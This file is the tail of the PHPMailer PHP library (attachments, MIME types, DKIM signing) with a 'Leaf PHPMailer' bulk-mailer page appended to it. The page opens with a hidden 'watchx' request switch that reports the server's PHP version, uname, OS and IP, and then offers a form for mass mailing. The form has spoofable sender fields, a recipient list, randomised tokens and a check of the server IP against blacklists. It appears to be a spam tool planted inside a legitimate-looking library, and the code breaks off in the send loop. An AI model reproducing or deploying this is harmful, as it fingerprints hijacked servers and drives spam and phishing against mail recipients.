            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
